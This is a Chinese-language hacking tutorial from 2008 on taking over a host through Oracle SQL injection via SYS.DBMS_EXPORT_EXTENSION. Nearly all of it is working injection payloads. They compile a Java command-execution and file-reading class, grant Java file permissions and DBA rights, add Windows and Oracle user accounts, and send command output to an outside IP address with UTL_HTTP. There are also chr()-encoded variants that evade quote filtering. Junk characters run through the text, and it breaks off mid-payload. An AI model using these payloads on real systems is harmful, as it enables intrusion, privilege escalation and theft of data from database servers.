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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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+ `, e, Q) L5 G: g- O/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....); ]2 ~) C/ G" o. |1 ^! p
}5 o0 v. M7 _1 c% c: @' Y的形式即可。(用" 'a'|| "是为了让语句返回true值), @9 y" l. N+ [
5 m$ ?4 w o, Q% l& @语句有点长,可能要用post提交。% u) O& S/ j/ ~' X, n
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! f! M& V% p- u7 w* N以下是各个步骤:
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1.创建包 y; [; o9 b* u
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:# Q7 K. q4 u' y j
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/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 a [$ D% F1 V2 ecreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(7 J J6 R7 X8 x" s. W2 ^
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 \: V3 N7 j' w8 D9 N
}'''';END;'';END;--','SYS',0,'1',0) from dual
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------------------------
# P# e4 E' G% K# _) z! D如果url有长度限制,可以把readFile()函数块去掉,即:2 W. W& s5 T$ t% B
/xxx.jsp?id=1 and '1'<>'a'||(
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& l( j/ o: q* V* `. {: D1 F _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" r0 K: m! Y1 f/ [create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(* [! a) O, e$ h
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
7 G/ i# Y* k3 k4 [, L}'''';END;'';END;--','SYS',0,'1',0) from dual6 U1 \+ m+ X$ X3 b
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同时把后面步骤 提到的 对readFile()的处理语句去掉。' b) k+ N! b( S
------------------------------
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2.赋Java权限7 q% J* ^" G, \7 O# R
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual; e( h& e) @% i5 c& w
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$ \9 B9 M& T4 C- E3.创建函数
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, g! P/ R4 D+ g; Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! I* u4 J. C* v
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual. @" X' h6 Y" n+ r6 F$ t+ X
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% r6 b3 n0 S9 h& s9 q) I. f: n
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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& i7 d) H. \5 d5 N% E, xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual( b# C5 f3 m( d3 k
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3 w2 V' u, z4 A0 K8 B5.测试上面的几步是否成功
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and '1'<>'11'||(- @+ }0 ?% X' p5 s u( k5 ^9 E: m
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'% L' U/ a8 Y2 m; I) a
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'+ D- h# a& k+ Q A* I* {3 ^4 x
)
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6.执行命令:) [* J8 Z, {, d" L# ~( |3 K
% l' c n v" {$ C/xxx.jsp?id=1 and '1'<>( U: T8 Y6 S4 B3 R
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(& o: E: R' C" ?& Q# i
select sys.LinxReadFile('c:/boot.ini') from dual; \# b- E5 j! f" n, I& p# J
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。. u. a# }1 ~( ~- h+ G/ }' j
如果要查看运行结果可以用 union :& s, ^- ?, ~' q4 B
) H% v' V |0 [" i, \( |; `, ~# t/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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; H, ^6 J+ F- b5 z1 }+ P或者UTL_HTTP.request(:+ \9 S J @9 T4 P: K
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/xxx.jsp?id=1 and '1'<>(
; c9 v$ P+ t* w7 Z5 V9 zSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual n$ ?; L9 Z& i9 s( F
)
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/ Y" E. s6 F: Z/ K Q/xxx.jsp?id=1 and '1'<>(
. l' G W: U* \+ X5 H2 zSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 K4 \1 b; A5 X% s1 C
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6.内部变化
- n U! ^( g0 A0 E% W通过以下命令可以查看all_objects表达改变:9 b$ ^' @3 C0 C
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
! P3 o1 r4 p+ Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 u# I& E- w; F% Y
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual( W" [) K/ [/ X' X5 K
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====================================================. P- w9 \- q+ a7 {8 O
全文结束。谨以此文赠与我的朋友。
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linx
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2008.1.120 X! E+ ^6 k' y$ g$ Z( o' f' p
linyujian@bjfu.edu.cn& S# X7 a2 w9 S7 I" P
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======================================================================* m0 g8 f5 e% w7 E; e9 H* W
, G* _ K3 Y" F$ n% M9 X- H" u测试漏洞的另一方法:
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创建oracle帐号:0 e' J" Q) }) `1 g7 G) R7 C P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 @% l2 [# \$ [& T: ~
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:
5 y' C; E( x- K3 L* j5 N Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), \# A$ J) u; d1 x2 o+ @
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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3 D9 |9 W1 W( s( t' _确定漏洞存在:% k O& k! ~2 `; a
1<>(
- O3 x& A: r* z6 S4 Gselect user_id from all_users where username='LINXSQL'9 V+ N. b8 F% u" b- A
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给linxsql连接权限:) i; P) |* L: U& ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! {5 u' H' k8 Y) o" SGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:6 z) T/ x3 [) k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' E; ] r0 d2 Ldrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================5 W, r4 h* `) B9 A5 g7 @$ c$ i
3 o) B$ Z0 f+ `& m以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:0 q7 Z% H" I* ]2 ^! z
8 W) b' d) x' ~" q/ t1.jsp?id=1 and '1'<>(* E5 `! D3 n* ]( F7 L5 _. S/ c' J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 B! y/ V, j t# ?: O+ c" H
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
# ?2 w2 k" K( S/ z Z2 g! c' h) and ...6 x: n; ?& l- F. g" O" q
' w: U# }/ I0 ~8 g. `7 ?1.jsp?id=1 and '1'<>(
k! w. k1 L( ^) v% }% ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual$ _" z/ c# O" Q3 n8 i5 ? ^
) and ...- L6 x% e! A& S& @1 @% e& I
% r8 ]7 \1 K2 a8 m0 O9 j E1.jsp?id=1 and '1'<>(
5 o+ T' h# E/ \% D& vSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL' }( @% w8 J- ~# T$ [
) and ...
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1.jsp?id=1 and '1'<>(
& e1 W1 R$ E/ Y3 J- m9 USELECT sys.Linx_Query('declare pragma
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& `: }6 y1 h! R1 ?! aselect 1 from dual7 M( a9 l; `* d) m9 f3 I
''; commit; end;') from dual& [% r0 r3 m) V6 B# x* B
) and ...
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) F3 E9 N- m1 i! I2 z/ K! g多语句:
, U9 H# _9 O CSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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t; [, h9 @: r, R3 F0 p创建用户(除非当前用户有system权限,否则无法成功):
) g8 u% f# A5 `+ l( N+ l4 ?SELECT sys.Linx_Query('declare pragma
7 V) [7 s1 R0 n2 [6 u" c: z: ]autonomous_transaction; begin execute immediate ''' P2 L/ ^8 r9 D8 K) u& H5 R! u+ i
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User7 v3 ?1 w+ p5 m( c
''; commit; end;') from dual" x3 L" d0 j' r$ d
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()) Y9 D# B5 H& Q( |
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1.创建函数5 l' T( b. g' C4 ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. @ w: m, J: n. a$ ~( fcreate or replace function Linx_Query (p
4 o h0 K3 d7 T/ u0 U7 A8 {9 yvarchar2) return number authid current_user is begin execute immediate5 F4 C/ \, O" a% X! m0 _4 M5 y
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;' i# i( v7 l) S: O
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如果有权限,以下语句应该允许正常) y! z- X/ r+ o- V1 } I; c: o
select sys.linx_query('select 1 from dual') from dual;; H! [! s5 T' _7 p0 E, j/ u, f
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不然的话运行:% W; H' N2 u' C5 m) R8 u8 j
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 a6 r, r9 @1 P+ A- x0 P- I) m c
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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I$ W+ {$ ]- ^- {" Z! i" Y& G2.创建包
- Q, N E# ? ]* F9 tSELECT sys.Linx_Query('declare pragma+ `6 a( D* ]4 h3 |7 ]
autonomous_transaction; begin execute immediate ''
! I5 _- h& R- M& Kcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
- M; E5 f: N1 M9 ?+ x( ~* pnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual3 ~# e! W4 V. W4 M: }4 f( w7 n; Y
8 P2 w0 Y+ b3 ? T' g; }5 Q3.创建函数3 p& Q) s+ p8 P5 v- o9 B1 b# S9 b
SELECT sys.Linx_Query('declare pragma
- t/ I* u; w$ ]5 Z2 |( z( w1 dautonomous_transaction; begin execute immediate ''
2 a7 I5 H* Y% l3 C6 }create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
+ ]1 n% P; T) ^' M' L9 |
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给用户SYSTEM执行权限:
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SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
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$ P$ S/ ^* h" Q0 I7 s5.执行函数
3 Y' q8 {6 w$ w( |* S! V- B* U# kselect RunCMD2('cmd /c dir') from dual! u, f/ d, o7 D- J& h( A8 |
8 D$ ^- ?7 L) m& j- D/ c2 U
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5 X5 v& ^2 `; P: W6 @==================) Z) h8 p8 F4 g# T+ Z0 o0 _) f9 J
================================
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以下是无 " ' " 版:
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1 u$ N& Y1 w: @% E8 l2 l以下是各个步骤:4 G6 l* v2 K8 b) U4 D1 w( u; i- a
# A+ i/ F! ]) {/ \% q J# R# F1.创建包# n) |7 P$ n) P, K7 z4 q5 P
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:% p# _/ @( d+ U. c2 U% A" s' r
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
8 Y( l& H7 Z* @3 k3 K- x3 R, c9 @9 G: c
/xxx.jsp?id=1 and chr(49)<>chr(50)||(( }/ V8 K' v6 w- b
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),5 v& |/ M) m9 y; s
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
8 ?; |. w5 v# }. u( Zchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
+ Y1 P- f i& d* @% {; nchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||. d# a1 B2 A% m/ N4 K2 N
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||- _5 r J3 n2 Z% j0 U
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||0 L9 g' `7 L9 l4 R
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||9 k! n: }6 m$ B
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
( ~+ [/ q4 x. @; y+ Cchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
W L8 {, P& T$ schr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)|| |. ?/ i& q6 B7 l
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||! C: \1 j+ @; I
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
; C5 p1 Q% @" Z4 V$ t) ~: u; dchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||+ b3 X6 y4 l+ U
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||( q% f/ Y5 N& i" v) d. X* i
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||0 {( b3 L1 Z3 A/ q
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
: U, n( R: k7 m, \- ]+ c ?# \9 y% achr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
. _0 |. w4 G7 P& {" m3 p# M+ Ochr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||, n% u- v' Q/ ?+ F0 f7 w2 K5 e
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
+ Y' f5 [, T& [( z$ S: [# N8 Zchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||7 G+ m7 ^% T4 g7 a( S
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
3 a9 d& O) }8 \ C" X0 zchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
, _% Y H O" K' k0 ochr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
4 z) F9 Y% ]2 H% g5 w* P# Tchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||8 x8 O6 T) G' s1 q4 B3 A6 a% n
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||- T2 [+ M2 x7 G# `7 b! [
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||- r e# P2 [! g" _; B, d6 N
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||+ h# U4 \! E9 N$ R5 @1 j
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
